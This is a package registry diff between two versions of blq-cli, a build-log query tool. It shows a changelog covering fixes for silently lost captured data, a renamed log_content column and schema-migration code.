blq-cli 1.0.2__tar.gz → 1.2.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (206) hide show
  1. {blq_cli-1.0.2 → blq_cli-1.2.0}/AGENTS.md +1 -1
  2. blq_cli-1.2.0/CHANGELOG.md +113 -0
  3. {blq_cli-1.0.2 → blq_cli-1.2.0}/PKG-INFO +2 -2
  4. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/duck-hunt-v3-migration.md +4 -0
  5. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/schema.md +1 -0
  6. {blq_cli-1.0.2 → blq_cli-1.2.0}/pyproject.toml +1 -1
  7. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/bird.py +91 -42
  8. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/bird_schema.sql +4 -1
  9. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/core.py +48 -4
  10. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/execution.py +38 -3
  11. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/migrate.py +1 -0
  12. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/ext/__init__.py +31 -0
  13. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/ext/local_executor.py +4 -2
  14. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/output.py +35 -11
  15. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/serve.py +166 -28
  16. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/services/inspect.py +5 -2
  17. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/services/query.py +20 -15
  18. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq_sandbox/profile.py +15 -0
  19. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_core.py +12 -3
  20. blq_cli-1.2.0/tests/test_import_capture_storage.py +196 -0
  21. blq_cli-1.2.0/tests/test_log_content_persistence.py +345 -0
  22. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_mcp_ci_tools.py +12 -1
  23. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_mcp_server.py +12 -1
  24. blq_cli-1.2.0/tests/test_output_schemas.py +90 -0
  25. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_schema_repair.py +8 -4
  26. blq_cli-1.2.0/tests/test_security_containment.py +239 -0
  27. blq_cli-1.0.2/CHANGELOG.md +0 -6
  28. {blq_cli-1.0.2 → blq_cli-1.2.0}/.claude/hooks/blq-suggest.sh +0 -0
  29. {blq_cli-1.0.2 → blq_cli-1.2.0}/.github/workflows/ci.yml +0 -0
  30. {blq_cli-1.0.2 → blq_cli-1.2.0}/.github/workflows/docs.yml +0 -0
  31. {blq_cli-1.0.2 → blq_cli-1.2.0}/.github/workflows/publish.yml +0 -0
  32. {blq_cli-1.0.2 → blq_cli-1.2.0}/.gitignore +0 -0
  33. {blq_cli-1.0.2 → blq_cli-1.2.0}/.mcp.json +0 -0
  34. {blq_cli-1.0.2 → blq_cli-1.2.0}/.readthedocs.yml +0 -0
  35. {blq_cli-1.0.2 → blq_cli-1.2.0}/AGENT.md +0 -0
  36. {blq_cli-1.0.2 → blq_cli-1.2.0}/CLAUDE.md +0 -0
  37. {blq_cli-1.0.2 → blq_cli-1.2.0}/CONTRIBUTING.md +0 -0
  38. {blq_cli-1.0.2 → blq_cli-1.2.0}/README.md +0 -0
  39. {blq_cli-1.0.2 → blq_cli-1.2.0}/SKILL.md +0 -0
  40. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/api-reference.md +0 -0
  41. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/capture.md +0 -0
  42. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/ci.md +0 -0
  43. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/completions.md +0 -0
  44. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/errors.md +0 -0
  45. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/exec.md +0 -0
  46. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/filter.md +0 -0
  47. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/index.md +0 -0
  48. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/init.md +0 -0
  49. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/maintenance.md +0 -0
  50. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/query.md +0 -0
  51. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/registry.md +0 -0
  52. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/report.md +0 -0
  53. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/run.md +0 -0
  54. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/sql.md +0 -0
  55. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/status.md +0 -0
  56. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/sync.md +0 -0
  57. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/commands/watch.md +0 -0
  58. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/design-bird-migration.md +0 -0
  59. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/design-commands.md +0 -0
  60. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/design-config-command.md +0 -0
  61. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/design-extensions.md +0 -0
  62. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/design-git-integration.md +0 -0
  63. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/design-hooks-v2.md +0 -0
  64. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/design-live-inspection.md +0 -0
  65. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/design-parameterized-commands.md +0 -0
  66. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/design-run-args.md +0 -0
  67. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/design-sandbox-specs.md +0 -0
  68. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/design-sync.md +0 -0
  69. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/design-track-save.md +0 -0
  70. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/duck-hunt-v2-migration.md +0 -0
  71. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/proposal-bird-v5.md +0 -0
  72. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/design/skill-inspect-enrichment.md +0 -0
  73. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/getting-started.md +0 -0
  74. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/index.md +0 -0
  75. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/integration.md +0 -0
  76. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/mcp.md +0 -0
  77. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/plans/explore-bird-sqlite-backend.md +0 -0
  78. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/plans/explore-nsjail-python-wrapper.md +0 -0
  79. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/plans/explore-nsjail-spack-package.md +0 -0
  80. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/plans/patterns-integration-prompt.md +0 -0
  81. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/plans/roadmap-to-1.0.md +0 -0
  82. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/plugin-guide.md +0 -0
  83. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/python-api.md +0 -0
  84. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/query-guide.md +0 -0
  85. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/requirements.txt +0 -0
  86. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/sandbox.md +0 -0
  87. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/schema-stability.md +0 -0
  88. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/superpowers/plans/2026-03-22-extension-system.md +0 -0
  89. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/superpowers/plans/2026-03-28-bwrap-engine.md +0 -0
  90. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/superpowers/plans/2026-03-28-command-locks.md +0 -0
  91. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/superpowers/plans/2026-03-29-annotators-and-tighten.md +0 -0
  92. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/superpowers/plans/2026-03-29-service-layer-phase1.md +0 -0
  93. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/superpowers/plans/2026-03-29-strace-profiling.md +0 -0
  94. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/superpowers/specs/2026-03-22-extension-system-design.md +0 -0
  95. {blq_cli-1.0.2 → blq_cli-1.2.0}/docs/superpowers/specs/2026-03-29-unified-service-layer-design.md +0 -0
  96. {blq_cli-1.0.2 → blq_cli-1.2.0}/experiments/agent-build-test.md +0 -0
  97. {blq_cli-1.0.2 → blq_cli-1.2.0}/mkdocs.yml +0 -0
  98. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/__init__.py +0 -0
  99. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/__main__.py +0 -0
  100. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/cli.py +0 -0
  101. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/README.md +0 -0
  102. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/__init__.py +0 -0
  103. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/ci_cmd.py +0 -0
  104. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/clean_cmd.py +0 -0
  105. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/config_cmd.py +0 -0
  106. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/events.py +0 -0
  107. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/hooks_cmd.py +0 -0
  108. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/hooks_gen.py +0 -0
  109. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/init_cmd.py +0 -0
  110. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/management.py +0 -0
  111. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/management_cmd.py +0 -0
  112. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/mcp_cmd.py +0 -0
  113. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/query_cmd.py +0 -0
  114. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/record_cmd.py +0 -0
  115. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/registry.py +0 -0
  116. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/report_cmd.py +0 -0
  117. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/sandbox_cmd.py +0 -0
  118. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/serve_cmd.py +0 -0
  119. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/sync_cmd.py +0 -0
  120. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/commands/watch_cmd.py +0 -0
  121. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/config_format.py +0 -0
  122. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/ext/annotator.py +0 -0
  123. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/ext/discovery.py +0 -0
  124. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/ext/pipeline.py +0 -0
  125. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/git.py +0 -0
  126. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/github.py +0 -0
  127. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/locks.py +0 -0
  128. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/query.py +0 -0
  129. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/runtime.py +0 -0
  130. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/schema.sql +0 -0
  131. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/services/__init__.py +0 -0
  132. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/services/execution.py +0 -0
  133. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/services/refs.py +0 -0
  134. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/storage.py +0 -0
  135. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/templates/drone.yml.j2 +0 -0
  136. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/templates/git_hook.sh.j2 +0 -0
  137. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/templates/github_workflow.yml.j2 +0 -0
  138. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/templates/gitlab_ci.yml.j2 +0 -0
  139. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/templates/hook_script.sh.j2 +0 -0
  140. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq/user_config.py +0 -0
  141. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq_sandbox/__init__.py +0 -0
  142. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq_sandbox/engines.py +0 -0
  143. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq_sandbox/source_annotator.py +0 -0
  144. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq_sandbox/spec.py +0 -0
  145. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq_sandbox/strace_parser.py +0 -0
  146. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq_sandbox/tighten.py +0 -0
  147. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq_sandbox/violations.py +0 -0
  148. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq_sandbox_bwrap/__init__.py +0 -0
  149. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq_sandbox_bwrap/args.py +0 -0
  150. {blq_cli-1.0.2 → blq_cli-1.2.0}/src/blq_sandbox_systemd/__init__.py +0 -0
  151. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/__init__.py +0 -0
  152. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/conftest.py +0 -0
  153. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/sql/test_duck_hunt_v2_migration.sql +0 -0
  154. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_annotator.py +0 -0
  155. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_attempts_outcomes.py +0 -0
  156. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_auto_init.py +0 -0
  157. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_autoprune.py +0 -0
  158. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_bird.py +0 -0
  159. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_bwrap_args.py +0 -0
  160. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_bwrap_engine.py +0 -0
  161. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_ci.py +0 -0
  162. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_ci_generators.py +0 -0
  163. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_command_args.py +0 -0
  164. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_command_lock_field.py +0 -0
  165. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_config_consumption.py +0 -0
  166. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_execution_locks.py +0 -0
  167. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_exit_code_reason.py +0 -0
  168. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_ext_discovery.py +0 -0
  169. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_ext_integration.py +0 -0
  170. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_ext_local_executor.py +0 -0
  171. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_ext_pipeline.py +0 -0
  172. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_ext_types.py +0 -0
  173. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_git.py +0 -0
  174. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_hooks.py +0 -0
  175. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_hooks_gen.py +0 -0
  176. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_inspect.py +0 -0
  177. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_json_null_filter.py +0 -0
  178. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_locks.py +0 -0
  179. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_mcp_merge.py +0 -0
  180. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_phase1_structured_output.py +0 -0
  181. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_phase2_command_registry.py +0 -0
  182. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_query_api.py +0 -0
  183. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_query_filter.py +0 -0
  184. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_record_invocation.py +0 -0
  185. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_report.py +0 -0
  186. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_runtime_config.py +0 -0
  187. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_sandbox.py +0 -0
  188. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_sandbox_cmd.py +0 -0
  189. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_sandbox_events.py +0 -0
  190. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_sandbox_ext.py +0 -0
  191. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_sandbox_profile.py +0 -0
  192. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_sandbox_register.py +0 -0
  193. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_sandbox_systemd.py +0 -0
  194. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_sandbox_tighten.py +0 -0
  195. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_sandbox_violations.py +0 -0
  196. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_services_execution.py +0 -0
  197. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_services_inspect.py +0 -0
  198. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_services_query.py +0 -0
  199. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_services_refs.py +0 -0
  200. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_source_annotator.py +0 -0
  201. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_storage.py +0 -0
  202. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_storage_prune.py +0 -0
  203. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_strace_parser.py +0 -0
  204. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_user_config.py +0 -0
  205. {blq_cli-1.0.2 → blq_cli-1.2.0}/tests/test_watch.py +0 -0
  206. {blq_cli-1.0.2 → blq_cli-1.2.0}/uv.lock +0 -0
@@ -560,7 +560,7 @@ Pre-built prompts that guide agents through common workflows:
560
560
  "file_path": "src/main.c",
561
561
  "line_number": 15,
562
562
  "message": "undefined variable 'foo'",
563
- "raw_text": "src/main.c:15:5: error: use of undeclared identifier 'foo'",
563
+ "log_content": "src/main.c:15:5: error: use of undeclared identifier 'foo'",
564
564
  "fingerprint": "abc123...",
565
565
  "cwd": "/home/user/project",
566
566
  "hostname": "dev-machine",
@@ -0,0 +1,113 @@
1
+ # Changelog
2
+
3
+ ## v1.2.0
4
+
5
+ ### Added — MCP tools publish the names of the keys they return (#47)
6
+
7
+ fastmcp derives `outputSchema` from a tool's return annotation, so
8
+ `dict[str, Any]` published `{"type": "object", "additionalProperties": true}`
9
+ — an object with no key names. A programmatic caller had to guess them, and a
10
+ wrong guess produces a program that validates, runs, and answers incorrectly.
11
+ Measured across four local models driven through lackpy: **0/24 correct while
12
+ 17/24 called the right tool**, with `len()` on `events`' dict returning its key
13
+ count rather than its event count.
14
+
15
+ 14 tools now return TypedDicts whose keys come from the implementations' own
16
+ return statements. Declaring the shapes immediately caught three places where
17
+ the code did not match a reasonable reading of it:
18
+
19
+ - `output.streams` is a list of stream names, not a mapping
20
+ - `query.rows` is positional value lists paired with `columns`, not per-row objects
21
+ - `ci_generate.available` is the registered command names, not a boolean
22
+
23
+ No data is dropped — keys a TypedDict does not declare still reach the client
24
+ in `structuredContent`.
25
+
26
+ **One behavioural note for Python callers:** with an `outputSchema` present,
27
+ fastmcp's own client deserializes `.data` into a generated model rather than a
28
+ dict, so `result.data["key"]` no longer works. Read `structured_content`, which
29
+ is the JSON a real MCP client receives over the wire. Consumers speaking
30
+ JSON-RPC (Claude Code, lackpy, any stdio client) are unaffected and strictly
31
+ better off.
32
+
33
+
34
+ ## v1.1.0
35
+
36
+ Three fixes with one theme: blq reported success while losing the thing it was
37
+ asked to capture. Schema moves 3.0.0 -> 3.1.0 and migrates automatically on the
38
+ next open; no user action, existing rows are preserved.
39
+
40
+ ### Fixed — `import` and `capture` wrote data no query could read (#50)
41
+
42
+ `cmd_import` and `cmd_capture` called `write_run_parquet` unconditionally, while
43
+ `exec`/`run` branch on `config.use_bird`. BIRD is the default storage mode, so on
44
+ a default project an import produced a well-formed parquet under `.bird/logs/`
45
+ that the query layer — a view over the BIRD tables — never reads:
46
+
47
+ $ blq import report.json --format pytest_json
48
+ Imported 2 events (2 errors, 0 warnings)
49
+ Saved to .bird/logs/date=.../source=import/001_report.parquet
50
+ $ blq events
51
+ (no data)
52
+
53
+ Success, a destination path, exit 0, a real file, and no observable effect. The
54
+ storage branch had been added to the exec path and never to these two. Both now
55
+ route through the configured backend; parquet mode is unchanged.
56
+
57
+ This mattered most for the richest source available: a `pytest_json` import
58
+ carries the whole failure block — assertion, source line, and the
59
+ `+ where None = normalize(...)` line naming the function under test — where a
60
+ default text capture of the same run carried seven characters.
61
+
62
+ ### Fixed — captured children were told the terminal was 80 columns (#49)
63
+
64
+ Anything that formats for a terminal consults `COLUMNS` and falls back to 80
65
+ without a TTY, which is always true under a capturing runner. `pytest -q`
66
+ abbreviates its short-summary line on that basis, and blq parses that line, so
67
+ the stored message lost everything past roughly 80 columns minus the test name.
68
+ How diagnosable a failure was depended on how long someone had named the test:
69
+
70
+ | test name | message stored |
71
+ |---|---|
72
+ | 73 characters | 7 — `asse...` |
73
+ | 35 characters | 45 — nothing lost |
74
+
75
+ Captured children now receive `COLUMNS=200` unless the caller set one; an
76
+ explicit `COLUMNS=80` still truncates, which is the caller's choice. Applied in
77
+ `blq.ext.capture_env`, covering `LocalExecutor` (the path `exec`/`run` take) and
78
+ the two direct `Popen` sites, plus the sandbox profiler for consistency.
79
+
80
+ ### Fixed — duck_hunt's `log_content` was received and discarded (#52)
81
+
82
+ duck_hunt returns the entire failure block in `log_content`. blq queries
83
+ `SELECT *` so it received the column, then dropped it at write time because the
84
+ event schema had no place for it — keeping only `log_line_start`/`log_line_end`,
85
+ pointers into a log not retained unless `--keep-raw` is set. Measured on one
86
+ assertion failure: **391 characters available, 16 persisted.**
87
+
88
+ `events.log_content` now exists in both backends, exposed through
89
+ `blq_load_events()`, capped at 32K with the truncation stated in the value
90
+ rather than applied silently.
91
+
92
+ The vestigial `raw_text` column was renamed rather than duplicated: nothing
93
+ wrote it, its only reader looked up a key duck_hunt does not emit, and
94
+ `docs/design/duck-hunt-v3-migration.md` already recorded `raw_text -> log_content`
95
+ as the intended migration. Old parquet files stay readable via
96
+ `union_by_name = true`. The MCP `event` tool now returns a populated
97
+ `log_content` where it previously returned an always-null `raw_text`.
98
+
99
+ ### Migration
100
+
101
+ Schema 3.0.0 -> 3.1.0, handled by the existing self-heal on next open. Two
102
+ layers, following the `extension_data` precedent: a version-keyed migration that
103
+ drops dependent views before the `ALTER`, and a version-independent column
104
+ reconcile so a database whose version advanced without the `ALTER` landing is
105
+ still repaired. Verified against a database built from the shipped 3.0.0 schema
106
+ with prior data: version advances, existing rows survive with NULL, new rows
107
+ carry the block.
108
+
109
+
110
+ ## v1.0.2
111
+
112
+ ### Bug fixes
113
+ - **Self-heal DBs stuck without `extension_data`.** The 2.3->2.4 migration renamed `sandbox` -> `extension_data` via `RENAME COLUMN`, which DuckDB blocks when non-view dependencies (FKs/constraints) exist on `attempts`/`invocations` — even after dropping views. The rename failed silently but the schema version advanced anyway, leaving DBs permanently stuck without `extension_data` and crashing every `write_attempt` ("Table attempts does not have a column extension_data"). `_ensure_schema` now self-heals version-independently: it gates on a missing column, adds `extension_data` via `ADD COLUMN` (never blocked), copies any existing `sandbox` data across (wrapped as `{"sandbox": ...}`, no data loss), and re-applies the idempotent schema to recreate views. Healthy/fresh DBs stay a fast no-op. Repairs on next connect (the CLI heals on the next `blq run`; a running MCP server heals after restart).
@@ -1,6 +1,6 @@
1
- Metadata-Version: 2.4
1
+ Metadata-Version: 2.5
2
2
  Name: blq-cli
3
- Version: 1.0.2
3
+ Version: 1.2.0
4
4
  Summary: Build Log Query - capture and query build/test logs with DuckDB
5
5
  Project-URL: Homepage, https://blq-cli.readthedocs.io/
6
6
  Project-URL: Repository, https://github.com/teaguesterling/blq-cli
@@ -4,6 +4,10 @@
4
4
 
5
5
  This document outlines the changes needed to migrate blq to duck_hunt's Schema V3.
6
6
 
7
+ > **Status:** the `ref_*` renames and the `raw_text` -> `log_content` rename have
8
+ > landed (the latter in #52, which also began populating the column in both
9
+ > storage backends). The `log_file` field is still not persisted.
10
+
7
11
  ## Key Changes
8
12
 
9
13
  ### 1. Field Renames
@@ -86,6 +86,7 @@ Parsed diagnostics (errors, warnings, test results).
86
86
  | `fingerprint` | VARCHAR | Unique identifier for deduplication |
87
87
  | `log_line_start` | INTEGER | Start line in raw log |
88
88
  | `log_line_end` | INTEGER | End line in raw log |
89
+ | `log_content` | VARCHAR | Raw log block for this event (e.g. the whole pytest FAILURES block); capped at 32768 chars, with a visible marker when truncated |
89
90
  | `context` | VARCHAR | Surrounding context |
90
91
  | `metadata` | JSON | Format-specific extras |
91
92
  | `format_used` | VARCHAR | Parser format (gcc, cargo, pytest) |
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
4
4
 
5
5
  [project]
6
6
  name = "blq-cli"
7
- version = "1.0.2"
7
+ version = "1.2.0"
8
8
  description = "Build Log Query - capture and query build/test logs with DuckDB"
9
9
  readme = "README.md"
10
10
  license = "MIT"
@@ -32,6 +32,34 @@ logger = logging.getLogger("blq-bird")
32
32
  # Type variable for retry function
33
33
  T = TypeVar("T")
34
34
 
35
+ # Current BIRD schema version. Must match the value seeded by bird_schema.sql;
36
+ # _needs_repair/_apply_migrations compare a database's stored version against it.
37
+ SCHEMA_VERSION = "3.1.0"
38
+
39
+
40
+ def _version_tuple(version: str) -> tuple[int, int]:
41
+ """(major, minor) of a version string, or (0, 0) if unparseable."""
42
+ try:
43
+ parts = [int(p) for p in version.split(".")]
44
+ except (ValueError, AttributeError):
45
+ return (0, 0)
46
+ if not parts:
47
+ return (0, 0)
48
+ return (parts[0], parts[1] if len(parts) > 1 else 0)
49
+
50
+
51
+ LATEST_SCHEMA = _version_tuple(SCHEMA_VERSION)
52
+
53
+ # Columns that must exist on a table regardless of the recorded schema version.
54
+ # A migration can fail silently (DuckDB blocks ALTER while views depend on the
55
+ # table) and let the version advance past itself, so these are also checked
56
+ # directly and re-added by _reconcile_schema.
57
+ REQUIRED_COLUMNS: dict[str, dict[str, str]] = {
58
+ "attempts": {"extension_data": "JSON"},
59
+ "invocations": {"extension_data": "JSON"},
60
+ "events": {"log_content": "VARCHAR"},
61
+ }
62
+
35
63
  # Default retry settings for lock contention
36
64
  DEFAULT_MAX_RETRIES = 5
37
65
  DEFAULT_INITIAL_DELAY = 0.05 # 50ms
@@ -99,8 +127,9 @@ def retry_on_lock(
99
127
  raise last_error
100
128
 
101
129
 
102
- # Schema version
103
- BIRD_SCHEMA_VERSION = "2.1.0"
130
+ # (BIRD_SCHEMA_VERSION used to live here, hardcoded at "2.1.0" and read by
131
+ # nothing — a second, stale version constant. SCHEMA_VERSION above is the one
132
+ # the schema file and the migrations agree on.)
104
133
 
105
134
  # Storage thresholds (per BIRD spec)
106
135
  DEFAULT_INLINE_THRESHOLD = 4096 # 4KB - outputs smaller than this are stored inline
@@ -528,22 +557,23 @@ class BirdStore:
528
557
  try:
529
558
  parts = [int(p) for p in current_version.split(".")]
530
559
  major, minor = parts[0], parts[1] if len(parts) > 1 else 0
531
- if (major, minor) < (3, 0):
560
+ if (major, minor) < LATEST_SCHEMA:
532
561
  return True
533
562
  except (ValueError, IndexError):
534
563
  return True # unparseable version — reconcile to be safe
535
564
  # Self-heal for migrations that failed silently on dependent views and
536
565
  # then let the version advance past themselves (leaving no column).
537
- for table in ("attempts", "invocations"):
538
- try:
539
- has = conn.execute(
540
